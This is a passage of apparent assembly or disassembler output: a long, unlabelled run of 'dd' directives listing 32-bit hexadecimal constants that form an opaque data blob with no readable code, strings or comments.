4B1FBC0Dh, 2F41D398h, 0F89FCABAh, 6E0F70h, 0B4B801C3h dd 5D5653D1h, 7500A07Ah, 6611A247h, 0B0109Bh, 1DEC3F4Bh dd 3B2F791Bh, 8857F131h, 0E8109E3Ah, 5A00ECA8h, 4CEBBCF7h dd 4D9D0CFh, 6771E9AFh, 6ABC8059h, 96002D3Ah, 0DAD9558h dd 1CD3A908h, 0C3B9ABBh, 0FE1007B7h, 596B3613h, 8B7B0400h dd 1A3C623h, 0DF0BDA18h, 0F8B7A2BEh, 670F7014h, 80B43DE7h dd 0FEFA0423h, 60A1E39h, 0C1AB8360h, 0F280637Bh, 5F000716h dd 0CFED622Fh, 0A10F12h, 927D4BBFh, 8D282D7Fh, 6D26B002h dd 0E0726789h, 49A264C6h, 0B7004CB2h, 86090F38h, 1D001C46h dd 0D5145762h, 3EF25D49h, 0C480D3CBh, 8EB37BE4h, 4100F5D1h dd 695CC89Ch, 98A5F99Bh, 5B91005Eh, 0E9357C96h, 2490428Fh dd 2256A81Eh, 7AF0D7C0h, 3B9324EEh, 349C41DCh, 3238063h dd 5B4E998Dh, 6BCA400Eh, 9D35E0F8h, 907FB3BBh, 0D72C00C8h dd 0B496337Ch, 9AECBF3Bh, 477F8EF4h, 2E8DB800h, 7C0F6D8h dd 79C77590h, 0C5B42468h, 0C4C21D34h, 80FDE877h, 79AA5B0Ch dd 98124Ch, 0FF73BE28h, 994E95h, 0AE8343ECh, 96ADF44Fh dd 6D501D07h, 8E80AFDCh, 0C0361B2Dh, 85CE78EEh, 0BA00B531h dd 0E86DF82Ah, 79CDA2DCh, 0F78F0022h, 505F80E2h, 9700914Eh dd 0E856F2D9h, 37D072h, 661826Bh, 109562B8h, 0E3C3D4FBh dd 0D309E400h, 0E53E0887h, 50711260h, 13C0023h, 0DD33FDA4h dd 77786E00h, 0C097F37h, 194A0076h, 0A2A8ABA7h, 500A660h dd 9ED48BB0h, 1B8F265h, 0F7CC3423h, 0D8869057h, 3602D0E9h dd 0B04F1E38h, 934F40F4h, 7C126D4h, 10BA3F64h, 6E9B0E81h dd 40B83B46h, 0FF664E0h, 0C9AD3Ch, 7ADCC33Eh, 31E8Fh, 7385CAF8h dd 137B410Ah, 81072270h, 0B4D42139h, 801EC580h, 0D29100E2h dd 0F1A69A24h, 41008CD5h, 0B7AA62C0h, 718B5D79h, 70C20047h dd 6B543ACh, 31006EA2h, 0B79CE108h, 1C65A8ECh, 8020FE13h dd 0F9FB6B7Eh, 0D300D192h, 0A517C411h, 0E8C1E20Bh, 409AA6h dd 76C86853h, 73252E79h, 61E7A91Eh, 73FBFh, 453784BFh dd 279285h, 29DE3039h, 4FC8C20Fh, 0D2C40503h, 0F077EA64h dd 1F1CCD1Eh, 41C35B0Ah, 0FAFDA367h, 5CE8C69Fh, 243C9A1Eh dd 0FECD8021h, 0BD8F140Dh, 1042FBDDh, 0CE704A7h, 77AA0823h dd 0F0A0B8DDh, 0D0CE1CCFh, 168A97FCh, 0DD00AA64h, 672FFF72h dd 46AF01A2h, 6E1C4277h, 0BD443427h, 483E8A75h, 5816253Fh dd 0BCE7164h, 0AEDF3BF8h, 76B2A8A0h, 2E617A42h, 9D650848h dd 6F9070h, 54D8C22Ch, 5DAF1832h, 3F6C017h, 6C9EA440h dd 0F37E42h, 0F8AAB2A6h, 5D649D02h, 69940F03h, 80E42DD5h dd 0EA5FACh, 0D77EA610h, 6E93F466h, 0B7360501h, 23D409D6h dd 3CA73AC8h, 65007969h, 0C44789FFh, 52003E68h, 48C3E64Bh dd 0EE224D6Fh, 0EA1200F8h, 821E0765h, 0DD003BABh, 0F79A45B4h dd 77802A1h, 8A566E63h, 7D808E0Eh, 0A26AAAF6h, 16E8F900h dd 7B15EFE3h, 48AEFC08h, 8444772Eh, 55B4F037h, 5472C879h dd 9F40B3B8h, 69EF00A1h, 76FD5805h, 0CD004C39h, 0A364717Eh dd 1C1ACCA7h, 8FC3B2BEh, 0E8E7CB6Fh, 9BE710F6h, 0F400FE51h dd 0C25A6B8h, 1D1A8D52h, 4087BF10h, 3917343Dh, 940BA07Ah dd 27B91E4Ch, 92B0AAA8h, 4922EBh, 0E623D83Ch, 0DF4C60D5h dd 73EF911Dh, 1340CFDCh, 4A96A636h, 67742E75h, 2F8D0040h dd 44DE6927h, 0DBCC8100h, 0B6B7947Bh, 4C6D0054h, 1D4B83ACh dd 224C2FBDh, 0CC5E1CCCh, 83DA258Eh, 0A85A9E4Ch, 65EF3Bh dd 2C9B8B4Dh, 3D2F67F1h, 2654F600h, 0FA78FCF7h, 51C73F83h dd 6A050600h, 3CE4DFD6h, 8750E1Fh, 9259600h, 93B654h, 0FB145F3h dd 0DF24E9BDh, 2CFF2200h, 5FEDA746h, 43F239h, 0D872961Eh dd 0C928BD17h, 0EF6B3300h, 268C09A9h, 58A30378h, 0D5F863D2h dd 0C37FD688h, 0D9DD8917h, 3A2D8000h, 67610B3h, 9F4ABFCCh dd 0EA1D18D8h, 0B8C0E574h, 46A3D3A8h, 88454C6Fh, 8DE8E901h dd 0E88C0ED7h, 0A00C273h, 9B0571C4h, 0CC84E17h, 1F934782h dd 0B8044C48h, 8D366434h, 11E782BEh, 0FC951448h, 0E6152400h dd 4002887Ch, 60EFEAB2h, 0E0C938AAh, 0ED00E752h, 0D8FA99D4h dd 5C909C31h, 1E3D40F9h, 4BABA993h, 14802180h, 45DA20FDh dd 57031A7Eh, 2BA115FBh, 62CD0CAh, 5091F6h, 4C55327Ch dd 0A2015B64h, 855C3B39h, 0CC0301Fh, 4E730015h dd 0C29CF4FFh, 1403FE45h, 0F39B4660h, 8966A842h, 9809002Dh dd 41583388h, 2E00E163h, 0FC16BA8Eh, 75AB80DCh, 4AE000BCh dd 96AC4BDFh, 98001CBDh, 119CCA6h, 7938EF2h, 0EDA486C5h dd 9FF5D0D5h, 0C61D65C4h, 80FFF6EEh, 915251BDh, 5C87F8A0h dd 0C505CBCAh, 442FD07h, 5C3257A4h, 871600A0h, 0BD89077Bh dd 0E30033DEh, 8A1DA52h, 76A023h, 3F8DC73h, 0ECAB39Ch dd 8EA73500h, 4DDA0D91h, 0F5F73EE5h, 13C87E00h, 848BDABh dd 7BC9CC00h, 0B3140CA2h, 0FDB100B7h, 29516869h, 7A15D513h dd 0AC5AF4h, 0F034C2A7h, 1D773C9Dh, 0C098B267h, 4EDCBB20h dd 6828215Dh, 6005D4A8h, 0DAF3B3C6h, 0D6959007h, 0AF73CC67h dd 152CB1B5h, 8BACECh, 8E677262h, 25233F32h, 748FC000h dd 59B110EBh, 7703FC9h, 6FA441E0h, 0FE00F5E9h, 0CF425EADh dd 48761140h, 4700D42Fh, 0E785554Ch, 1D494890h, 5B0F024Ch dd 9AD85Ah, 0D662E118h, 3788B48h, 687C5CC1h, 9E400103h dd 4D262D0Ch, 407435BBh, 0A8F7BA5Fh, 7EF8CF01h, 0A72B3682h dd 4A3C3432h, 713B3287h, 4E2A4020h, 0AB0FB124h, 0A0019604h dd 6BEB4BDBh, 0F8C31DA4h, 0C0598F56h, 2D0DD3C0h, 0C207FF27h dd 58AA4917h, 9C053B05h, 0C5800419h, 60BF4FF4h, 0A1F2A8BBh dd 53409A8Fh, 0FA2D0063h, 0E72F4021h, 30055F3h, 29B1A7DCh dd 0BAECF8h, 40F999BDh, 5E57F3Ah, 0F31726h, 0F5CD8700h dd 0AC7B79h, 7FB45BFAh, 8FB5A137h, 67EA8E03h, 80B3FC2Bh dd 0EDB884Bh, 19F8EC35h, 0F3DCA763h, 0B0ED2800h, 5692D31Ch dd 860F1BFFh, 83F818CDh, 4B3BFB82h, 8721BDECh, 55CFE6E5h dd 460980FFh, 0B8EFA55Ch, 30110040h, 0C417D6C8h, 6600E09Ch dd 0E78C8F3Dh, 23437h, 996A1E01h, 3685D1FEh, 94C3641Eh dd 0CC9C070Ah, 0EEC55200h, 597D40h, 0D9E143C8h, 90D82A1Dh dd 1A09FFF2h, 2A141022h, 9140848Ch, 7C54AAD4h, 0AC9A50EFh dd 0FF441FA5h, 0CF565C50h, 3FF603Bh, 1E3FCE46h, 0AD03419Eh dd 79DA669Fh, 0E829986Dh, 0CB201F7Dh, 0BF59C3EFh, 2F8AF309h dd 4199EC80h, 0DF009039h, 982B4D47h, 7C281C0h, 0B21D5B54h dd 0A663B021h, 2EE0C88Eh, 7C798D00h, 0F70D817h, 349852h dd 5662BB54h, 2A3DE1A3h, 1C1B3400h, 2C48EBB3h, 66DC0384h dd 0FD90AD3Ch, 7573E9B0h, 0DF802801h, 5CF19950h, 1AB93E80h dd 0ACF3256Eh, 4700D8B2h, 0BC35B608h, 17911742h, 11020F8h dd 72F3EAECh, 9CF1BE8Bh, 0E0642663h, 59C1EC00h, 87C843h dd 0E1CF20DDh, 0A89CF642h, 2E00537Fh, 0DCF70D1Ch, 0A0F910h dd 0B65E2656h, 49EE5285h, 0BD05607Ah, 92BCDB33h, 46ECDC00h dd 244DA8Ah, 190E5F07h, 0B84B3BD4h, 0DCE7ECh, 0C8D1A49Ah dd 1635CD9Bh, 40188BB5h, 153CB80h, 7100F86Bh, 85E91E3Bh dd 0F98F73D5h, 0A8F330h, 0B7F238B5h, 0FFC18A37h, 0C328A600h dd 0EAB248EDh, 0D3730FDBh, 0E3C10CD9h, 20B3E17Ah, 0D4E9F264h dd 4005105h, 67B7301Ch, 161383A2h, 40C9CD8Ah, 92F71434h dd 5800485Ch, 0E5A93347h, 51CB997Ch, 0EC008CE3h, 16B4027Bh dd 359BD37h, 0C89BD7DFh, 94843Eh, 40C23A30h, 0E8035F43h dd 37532823h, 6F420380h, 8B7E80DFh, 60A7608Bh, 0F8EB3311h dd 0A03258h, 46312593h, 0F7DBADh, 0EE5C9CE0h, 0D1B7148Ch dd 2FEA1A00h, 0B9ED3FC1h, 3DC05D9h, 8024AB94h, 2AE78F53h dd 0D6E87700h, 0C42032FEh, 8726001Ah, 29B69DADh, 2201C5ECh dd 898DB7Ch, 0E4E86CB2h, 38D9008Fh, 2AA83DFh, 0D10E5E75h dd 0E069600Dh, 723A3D7Ah, 8B120089h, 0C1B5061Eh, 0FC719F80h dd 7DBCFE24h, 685A3000h, 97677Ch, 0C4B73A18h, 1FC67FFFh dd 0DB35EF05h, 34909192h, 96F43D11h, 0B500F458h, 0F0860E49h dd 7FE3173Fh, 0B7540009h, 1A302A79h, 3C00AA38h, 1452B11Eh dd 0E85ABF96h, 3AAE3382h, 10A6C320h, 0C03D8622h, 0F2098A28h dd 0D9027EF4h, 3A017164h, 0F0BC6082h, 0F64F0642h, 68302377h dd 0AA8EC02h, 4069C4F5h, 3C7C75A9h, 6F0003C0h, 2DC20492h dd 0EA37B7BEh, 0B1739035h, 40BAB706h, 4A6480BFh, 3CAC7F47h dd 40D93A9Bh, 0AD222480h, 0C1CC4CA5h, 0BF8C98C0h, 0A05CAF0Ch dd 0A0ECBB20h, 18CEB32Ch, 8979254h, 1715997Dh, 213CEDB8h dd 42283B77h, 559F0088h, 56AE2FACh, 897A5010h, 0C33C6674h dd 0B101009Bh, 36D24F85h, 3575002Ah, 4C4B6799h, 9600490Dh dd 85DC3EA4h, 5B079Ch, 0C0F969AAh, 4695789Ah, 3884320Eh dd 80194C7Bh, 0D2BA0030h, 49FE7EAh, 0B7333449h, 0CB08F4h dd 0EA0ADC21h, 0BFED8A69h, 54514A06h, 0C13325h, 5E2A912Fh dd 0CDBB9F3Eh, 36CC1606h, 210224h, 1889A34Dh, 0D1119666h dd 823BEC00h, 7ADBE2B3h, 9B590024h, 1FFE2833h, 84A0A58Ch dd 970C34BDh, 18427C53h, 66A90371h, 30274AD1h, 14B6593Ah dd 80A42506h, 90799810h, 54AE0699h, 8DEB12Ah, 0F2212C67h dd 655079E0h, 93A700FEh, 44D90408h, 67309B97h, 0FBD686Eh dd 606B7051h, 0C1C31063h, 78CEC802h, 5368264Bh, 7A6B7C18h dd 8806836Ah, 0CF5AB9A9h, 7A977510h, 9B0F00A2h, 0E368F3FFh dd 0D8720112h, 7317D100h, 6F08321Ch, 49DE16ADh, 5B10007Fh dd 5CFC2319h, 504E9900h, 42044A38h, 0F76E07FAh, 27BB8E3Bh dd 94D40073h, 7E00DCB2h, 9F3C3A97h, 0E34BECh, 4612BA0Ah dd 0FFE5E288h, 2C975400h, 0A2DA281Bh, 8F8706C0h, 207BF6D8h dd 0E31DE776h, 0C2C0BF82h, 73CF693Dh, 0E611077Dh, 1C1A265Fh dd 6431FE28h, 0D27B50E0h, 5872050h, 0DF600074h, 0C64868D6h dd 28C09827h, 0ADD0B86h, 0E87C72h, 0FAA7BAEDh, 11336916h dd 30180560h, 0DA6775h, 52D5D287h, 0DDED4D31h, 0D1CF441Dh dd 0E7500FCh, 5E18414h, 0A5F3005Fh, 9D9E7767h, 9517988Bh dd 0AA005EFCh, 484F09D1h, 30053EA6h, 56FB2A86h, 0E201B0B1h dd 6DBC8476h, 97FC6EE7h, 405F00F4h, 64B9EB94h, 840F1985h dd 8FBAFE54h, 5E46C079h, 1630FC8Ch, 4F4937h, 0CBFBB08Eh dd 6AE8B223h, 5205F67h, 52BE49E0h, 0E21F0171h, 80E542A1h dd 0D3418010h, 6301E912h, 607FF865h, 114B3956h, 18C0175Dh dd 46DF84ACh, 570A0640h, 41F9FB4Ch, 58E7F00h, 490F7D4Bh dd 0A0FE1E52h, 0CDFC811Ah, 18BCE2h, 68A37D4Dh, 803C2077h dd 629FE4E2h, 0AD2C7565h, 0E132FB9Bh, 493C3076h, 33D45611h dd 16806988h, 0F1644954h, 3D518B5h, 0C71019D4h, 81451C3Bh dd 0DFF38691h, 0C0BA5166h, 62DDCF0Ch, 4B06E218h, 63C5B79Bh dd 507F0110h, 6EF6E067h, 0D464E436h, 0D80B4600h, 3B415585h dd 0EC500065h, 488D7196h, 15FE029Bh, 5F036700h, 90886395h dd 448E0F14h, 0B3D31Ch, 39B34B46h, 3B007BD8h, 0CEA402FEh dd 289791h, 0DAE47C15h, 0CFD66081h, 880BDE00h, 0FAD5CA55h dd 0A7E13928h, 103A007Ch, 4D2A86B7h, 0CB1F29F0h, 3800229Bh dd 73326841h, 5254002Ch, 0BBDA5197h, 0AB0024E0h, 41E9369h dd 70E31DAEh, 113C032Bh, 18515AA9h, 69A0CFCBh, 0AE0034FCh dd 0BD40A29Dh, 6E39BF4Ch, 21180895h, 99402615h, 0BE84015Eh dd 0F13C5362h, 738A00D4h, 0E4C65860h, 0AE6CA300h, 0B6F981A6h dd 67D1AB0Ch, 607130C3h, 556A704Dh, 0E70FB778h, 8CDF0817h dd 0C5E49FCh, 0BF40ACCFh, 0A32EDC11h, 3123918h, 2B3F1106h dd 21EE6008h, 4E183A85h, 17A37200h, 0D1EA2648h, 83B80038h dd 65873401h, 5B50DC53h dd 0AA7C5ABDh, 0E0F4613Bh, 0FD6B390h, 98FD6708h, 0D1EBB354h dd 8F299001h, 2933D3Bh, 19E578C5h, 0C24560h, 43CD2181h dd 509CA163h, 4CFA1600h, 9580B07h, 5E51016Bh, 41023F73h dd 5A2E20EEh, 84FD2500h, 79A42AC1h, 0A5EABEh, 99CE24FEh dd 625DA831h, 7FC8E500h, 0CD0A8506h, 6E8B00AAh, 8DAC569Eh dd 0EC006A25h, 34DF39FCh, 1688C119h, 5523EAh, 100302A1h dd 6B3AFBE3h, 3E00F29Ch, 4EF65D77h, 7BDA5EEh, 92862DEDh dd 0E7CF97FAh, 5E3FC10Bh, 0BCE5F0ECh, 7A69C600h, 0FB59875Ah dd 3E3A00A4h, 0CF61DE65h, 800663C4h, 78AE7A68h, 75D40020h dd 763B653Fh, 7774AD2Eh, 3EF510C0h, 3DE1283h, 565F23ECh dd 0EAA3224Ah, 369A3100h, 28E8A583h, 0F8D5F02Ah, 40B023h dd 1B2DCCB2h, 92505E7Ah, 0A8C074F0h, 7DCA3F38h, 3A78CA7Fh dd 0F0465638h, 2A591E00h, 0F6D3DAD6h, 0D0C05231h, 0E2E46BF2h dd 4059C15Ah, 807A226Ah, 4DC0E368h, 9E6FF1h, 1CCB6208h dd 0F0661F5Ah, 0C000FB0h, 64AF2C42h, 0E22D4056h, 39A4E085h dd 380692Eh, 2B6576F8h, 1A007341h, 8EEFB2D9h, 0EDF2C9Ah dd 68696D3Ah, 8535C15Dh, 0C744CA88h, 0A5AC3DD0h, 0E9720907h dd 6B60F2AFh, 0F1B791h, 0F9981147h, 85E1A829h, 65710B00h dd 7DD2459Ch, 6DF50012h, 1E9F0ABFh, 0AA5CE129h, 43ED00A0h dd 0EA9928B6h, 9A493091h, 6B35C230h, 7270F3Eh, 977DD1CDh dd 7F0594C0h, 8EC5304Dh, 24723410h, 4B83D500h, 1F4A6260h dd 76F5030Bh, 1D262E30h, 21A34810h, 0F7D8EA03h, 78EEB6FCh dd 19C32F7Bh, 0F8069DE0h, 0A21B1Ch, 0A1D773DDh, 51BE0131h dd 0C3639300h, 0D05EF02h, 7EFB033Ah, 45746D27h, 0B8A059E3h dd 0DC03167Ch, 0B36608D1h, 0D758031Eh, 2CCC03FBh, 69EF8F8h dd 3A8EB203h, 0A0A34A79h, 14C19169h, 80B8CF65h, 0C5776A00h dd 25F34F6Bh, 5EB16C00h, 0E84210F8h, 0B3FA3E2Bh, 0A8CF1600h dd 2FD9C3EBh, 8E12F73Dh, 62A7844h, 7D401088h, 86FE1FCAh dd 40B41F41h, 22F69B04h, 0C300EC3Ah, 0BE4627F4h, 0C39FD180h dd 0DEAB5671h, 17C076A3h, 57074A2Bh, 0A0BC1B4Bh, 25CF4910h dd 0FA850091h, 0B7C19689h, 4D005064h, 4E134363h, 9837F2D4h dd 1B4205DFh, 0C3274835h, 6103025Fh, 0C1032A76h, 71FF83Bh dd 370E30F7h, 0F20F58A0h, 83A66200h, 0BEBF7EC3h, 0F6F70C26h dd 0CEB02C3Ah, 85084700h, 0CB55A482h, 8E9602BAh, 2F23C8Fh dd 0FE120840h, 0C97BAF14h, 435880A0h, 79DCA01h, 32F7022Ah dd 0C748C5C0h, 76E34F5Fh, 0F1028AF2h, 65BDC7A5h, 3EE077DBh dd 0BFF8E026h, 0F8DE9E00h, 9F46F0CEh, 9AF4169Ch, 0B4B6009Dh dd 78827131h, 379883Ah, 6DB32F87h, 0CDCE03E9h, 94F76B83h dd 0EFC0083Bh, 0E945A020h, 0E795EFh, 7B558C7Fh, 0EBAC5B96h dd 93002FE4h, 63BC7CEAh, 72F50C48h, 79094CB9h, 9A1B5B0Eh dd 31D58160h, 31D420Eh, 8EFAA932h, 0D88C0830h, 7BE78240h dd 9B6A0158h, 0A3CFB7FAh, 0B5089872h, 3B5BE821h, 0AE80ADD5h dd 659F0E29h, 2131A89Bh, 12F6C963h, 7215B4C8h, 0E19F039Dh dd 3321AA02h, 11874000h, 7820441Bh, 7AF533E7h, 66E06028h dd 0E8C0A6ACh, 0B56B6293h, 0CE0E67Fh, 0E803970Eh, 21C08408h dd 0E3B57343h, 78AB2825h, 24B151BEh, 0B56D30CAh, 506B8108h dd 7895580Ch, 0D3F1B51Fh, 0FA1A0C82h, 581013B2h, 5100AB01h dd 0C2ADCCECh, 0E701051Fh, 26569416h, 5AD1B770h, 0E7131170h dd 13FEDC0h, 0BF19ECB6h, 0C4C5D59Fh, 0A90014B5h, 0FD067808h dd 0E41F47Ch, 97AB669h, 43EFC680h, 0DE0152B1h, 0E66D28B5h dd 8982588h, 0BC232165h, 0D1F35200h, 87804D6Ah, 0D048C06Ch dd 9D97559h, 0F218F7B8h, 63300493h, 1CAF069h, 354CB1A3h dd 8C0FE88Fh, 20E68109h, 0A4210106h, 0A1502B4Ah, 3559C862h dd 0D9887303h, 0D8CC1D9Ch, 744BA834h, 0A18C6F0h, 19069050h dd 0ACDDB809h, 0CFF048h, 733A07CAh, 72924526h, 1848EE3Ah dd 3020628Ah, 0A7071C1Eh, 83E95FF6h, 0C57AF109h, 0B741A800h dd 53BD3D36h, 88CF0093h, 0BA994BACh, 240BB5FDh, 8C20FE01h dd 1772F086h, 0CA23D66h, 2DE990A4h, 0FE69A067h, 2E525B60h dd 769C30B9h, 77A1B2BEh, 0AF53A0A0h, 0BF0BD93Eh, 880A7F71h dd 64B90918h, 0BD07BB40h, 64C0D175h, 70319D4h, 893D918Fh dd 0F1AAA7A0h, 8861F15h, 7623C0h, 4CB4A3C7h, 448694EDh dd 0DE00D376h, 1EAA55A3h, 7C8B6F2Fh, 6D66147Ah, 606228A0h dd 0FD008843h, 0E15D1B1h, 9C4826D6h, 0CC02E240h, 0DE090E27h dd 36F26Ch, 0B282CBB7h, 24891EA3h, 8C3F409Ah, 9107A55Fh dd 8DCF0200h, 6ECA7DBEh, 0C5DB1E66h, 719D00ADh, 63289290h dd 9B228C00h, 19BC2E0Dh, 53A6075Fh, 0FFD6A846h, 5A96CA38h dd 0B4677A28h, 0F29FD900h, 36C9EAC8h, 77E900B3h, 72AE249Ah dd 0ED036C76h, 9888F4CEh, 0D42380C8h, 4DD900A5h, 31F58002h dd 157341DCh, 3401ADF0h, 67953079h, 0F2E4EF71h, 627800DDh dd 0FAF0A2B8h, 0ED006EEBh, 18B6C2Bh, 0F17DAE36h, 0F2E0DBE9h dd 5831F135h, 0A1DC0340h, 0F46C0EE1h, 478CE229h, 9B004A21h dd 0DB82E5FEh, 1DCA086h, 0A5954E48h, 0D544B8F0h, 966083EFh dd 61B2AA70h, 0F26F3818h, 1A61E013h, 0D5113B60h, 7A3CC0Ah dd 0EEEB7FB8h, 0E908BCC0h, 7720B061h, 1660CA61h, 544B00A9h dd 0C8A37C5Eh, 0B011CB9h, 9A6CF0D2h, 3CF94E8h, 7D3F4268h dd 0B800F177h, 6BAB7AD5h, 34DF430Dh, 2E186682h, 102378h dd 5273E689h, 7F736F5Dh, 644DF402h, 0C198413Dh, 8804084h dd 705105A2h, 38E67B22h, 0B913172Eh, 75398D03h, 2FDCC847h dd 0D64E000Eh, 0A05027EAh, 0D31F631Fh, 169C599Ah, 47694DC0h dd 0FE550BF5h, 0F27277FCh, 14700C84h, 4948832Fh, 8A1D9500h dd 0B0335B3Bh, 608B0040h, 81C24427h, 0BC7A80B5h, 9A0128DFh dd 72CA6C5Dh, 0E0BD5883h, 1DB8326Bh, 0DE30C462h, 0A3D0199Fh dd 0CFC00B5h, 85AAF1FAh, 223FC10Eh, 2E460025h, 0DBB06274h dd 0E06DB899h, 3D790C19h, 38685686h, 84F9800h, 0B21FC03h dd 19275C41h, 3DAF3860h, 29CB11E9h, 841080DCh, 0F8E8759Fh dd 7B18C36Fh, 99C8E53Dh, 0C700CC67h, 6C506655h, 0C2C27EEh dd 46F8D28Dh, 0E23A3240h, 55750043h, 0AE010D79h, 0BF8A016Dh dd 46F6E83Bh, 0E83EE570h, 683D6F63h, 31BD8043h, 54727DB4h dd 0D8600923h, 55AE48h, 62BA7184h, 0F820D830h, 0ED9879B2h dd 15606700h, 7718D487h, 0A0E80073h, 0C9088C78h, 311F97B2h dd 21CCCFC0h, 0C094E7Dh, 20787242h, 39602F68h, 80DC1296h dd 243F0067h, 0DEB92704h, 91799D43h, 5B6D48h, 70F180C1h dd 69C5F0Bh, 99CDB712h, 81F198Ah, 0B100DD84h, 0E9181372h dd 98340089h, 6D12FFD1h, 96982082h, 70B1B500h, 80DA3206h dd 97EC00D7h, 171BD516h, 0CB0F63F4h, 0E162D96Ah, 0ECBDFE9Ah dd 4B302F21h, 0D3C90A4Ah, 0A9155Bh, 64DA5126h, 803C0D57h dd 0AA310154h, 7DCB3E66h, 82C1AFEDh, 1DBE085h, 0E99C4364h dd 30A6AAC3h, 207CD937h, 0A8700EC7h, 728D195h, 0E49F649Ch dd 8ABDA092h, 653069DFh, 4C9E976h, 677D00B6h, 96125F7Ch dd 8300CB79h, 2CE1F1C4h, 173BB3C8h, 3600661h, 43ED8689h dd 0C0EF5DCBh, 4F35CA3Dh, 21F56802h, 0E1946267h, 0CEF4EA30h dd 7FF158E4h, 2A66050Ch, 21C05109h, 6E4CFDDh, 0C1880C1Ah dd 5F18AAC4h, 0BA4E620Eh dd 7C96C0BCh, 0A18AABh, 9010DCE9h, 0E644616Dh, 5B5440C7h dd 8E8C0140h, 0B6A20067h, 0C35610DAh, 7C00D628h, 894D8F1Eh dd 3C2092h, 0C1118E65h, 16DF91C9h, 0D49DE403h, 4AB6631h dd 237FCA78h, 0D9E800Ah, 0DF3A6C26h, 9E34180Bh, 878F20h dd 0D96DC023h, 37241338h, 266C4Ch, 0CB11ED8Ch, 18966957h dd 0A0EC4829h, 3B38E79Dh, 54DF810Dh, 0FBDA068h, 6C3001CBh dd 2477CBEAh, 762885C5h, 0A81D5AEBh, 0B2313F41h, 0F5D13E21h dd 980321B8h, 3546B053h, 0BE4E54E9h, 2EAE9850h, 54402D70h dd 7BAC9Fh, 30673627h, 46581E21h, 0C80E460h, 0EF5EC61h dd 0CE25FE71h, 2F98BA21h, 0CB18FCAEh, 40517600h, 639C3303h dd 0F8781F3Ch, 2B9740E0h, 9A963460h, 9646B00h, 76135D9Bh dd 0C19E0098h, 0F0B2DDFAh, 0AF0F19BAh, 7FC7EBA2h, 77102C00h dd 43E65Eh, 0A57A4501h, 0A3F19586h, 84882000h, 0D69641F9h dd 0F1B9840h, 0C524BF7h, 6E4CE660h, 0F8002A69h, 78952201h dd 16C1AD2h, 0F40E94C8h, 30681856h, 0C707AF6Ch, 91B0A772h dd 0A1814150h, 29A40051h, 0F1846BA2h, 0B9000F7Eh, 0E1DCAE83h dd 314EFFA6h, 1F30CD3Bh, 2444C4C6h, 0DE7A5300h, 65670EFDh dd 752F003Ah, 47C9B4BFh, 0A80079CBh, 56698801h, 3CA086Ch dd 0F8C062F0h, 70810204h, 0E0198041h, 0FCEE0E59h, 8BFF0175h dd 865FE92Eh, 40D7E876h, 0C7924107h, 0D5A08EFDh, 9AB82Dh dd 0B1F4D67Eh, 0CAD75978h, 0EEA16703h, 0ADEF3D16h, 227138C0h dd 6419008Ch, 0E70E02ABh, 0F616159h, 7F560610h, 33685030h dd 0E28945DDh, 0AC06D0D6h, 0AD2E9582h, 0C1FE00F0h, 0AB06BB94h dd 0FC3E33DCh, 657D00ACh, 0A0BFB485h, 5888F4A5h, 806DEA1h dd 0E8C5EF12h, 744FC101h, 37DB7C3Ch, 0B98BE8h, 639689F1h dd 4BB416D9h, 3600FDE4h, 8F1F92EAh, 24F9ADh, 0CBE33E22h dd 1407EE4Fh, 34F6B700h, 414EB2E4h, 27F700D2h, 3537BEDEh dd 0C5008971h, 329894CCh, 1D309042h, 9188CFh, 0F5088137h dd 160B3328h, 3B63Fh, 974FA172h, 0D5230035h, 0D629FAF8h dd 0DC005767h, 0B9E283F4h, 1F611FEh, 15C9952Ah, 8087F920h dd 0DA12EA50h, 9C5CCBh, 0E4B96C77h, 910D762Bh, 0AFC56E00h dd 5AC0E340h, 1F997C92h, 0A243FDh, 68279A69h, 80B5373Bh dd 24309204h, 517500E4h, 56E30510h, 52006B6Eh, 3F5FAFA9h dd 161297h, 17B74D1Ah, 0E5FBCA06h, 0D27DEE0Eh, 0C3FACEB4h dd 1C811BCDh, 70C89298h, 0CBC63008h, 0B3F09C00h, 0AF0D6F4Eh dd 0FAF7052Eh, 0A224ACh, 0F065EAC6h, 90001A10h, 624F540Bh dd 0A0EB4AF1h, 4D609Ch, 0B2B405ECh, 97AA44E3h, 0ABEDDA01h dd 3A28DBDh, 8F95F8h, 126EAF80h, 262458BFh, 512E5400h dd 0FE79F69Dh, 85E5008Eh, 0D50C80A4h, 0CA0F5737h, 5CC01782h dd 18DDF7C0h, 98083B54h, 0E0F500CEh, 0A3D2D510h, 2B1E4F36h dd 0ECC0D8A5h, 9B4202C2h, 68D00063h, 384E239Fh, 29060D89h dd 3DA57DCh, 624A0038h, 91FFB746h, 0CA006D9Dh, 9A52B3FEh dd 211898h, 0AADA8CCDh, 511B67CCh, 961D61F8h, 0A74E354Fh dd 2B31E7C7h, 26C900CBh, 739388ABh, 0BD19003Eh, 0DEEC0D4h dd 580AD752h, 0FBCCEC96h, 0E75A5601h, 0E6F71064h, 88DA0789h dd 81A3D17Eh, 814DE96Ch, 84B84518h, 3EEC1CA7h, 1FFF382Eh dd 28826C18h, 0F500F7D5h, 8F485A5Ch, 1504B144h, 0B8C7B413h dd 9D173300h, 64EA8A1Bh, 4AFB1800h, 0A7D79B5h, 3F6BEE87h dd 0D43B4904h, 0C53C5780h, 0A5B32DE6h, 180024B0h, 4D473F56h dd 8271D4h, 0D0E4E82Ch, 0E236D64h, 1DE3C339h, 73FCCCBh dd 7506E616h, 0BA101D40h, 40C21D95h, 5AD4C31Ch, 0E7E0173Fh dd 0E1007C27h, 2080783Bh, 7CCAA0DCh, 402C001Bh, 0C7D0E43h dd 0BD3729C3h, 56C03050h, 7FD0F3Ch, 91B7847h, 9197404Ch dd 0FBB0298Bh, 89531C0Ch, 186A3871h, 78A43BA3h, 461C0E4Ch dd 2CEBAE65h, 43C1E570h, 244D800Dh, 0C47096D0h, 72B80F8h dd 0C9B6AAEDh, 7F860119h, 0E74A0658h, 0D1208673h, 80180Dh dd 17D9E88Dh, 855881FBh, 462C41C0h, 304861E9h, 8B78449Dh dd 0B600878Ch, 3167C519h, 0BF021Eh, 9032E993h, 8CD1BDEh dd 4B584E01h, 2CA5D386h, 0F8736082h, 24A04AD8h, 19B513EDh dd 4E146800h, 0B21B8096h, 20952888h, 51C30C88h, 55309930h dd 0E8F0660Ah, 1D00ECCDh, 0BE111587h, 961904F5h, 81694ECCh dd 802A3789h, 0EE2F0D20h, 54C28177h, 0DCB062h, 3210C53Ah dd 0B0F0AAE4h, 71C8B300h, 0BC03EEADh, 0A343001Eh, 6A41D8D6h dd 0A0F94CFh, 0C4173180h, 1893A62Eh, 0F6D0E80Ch, 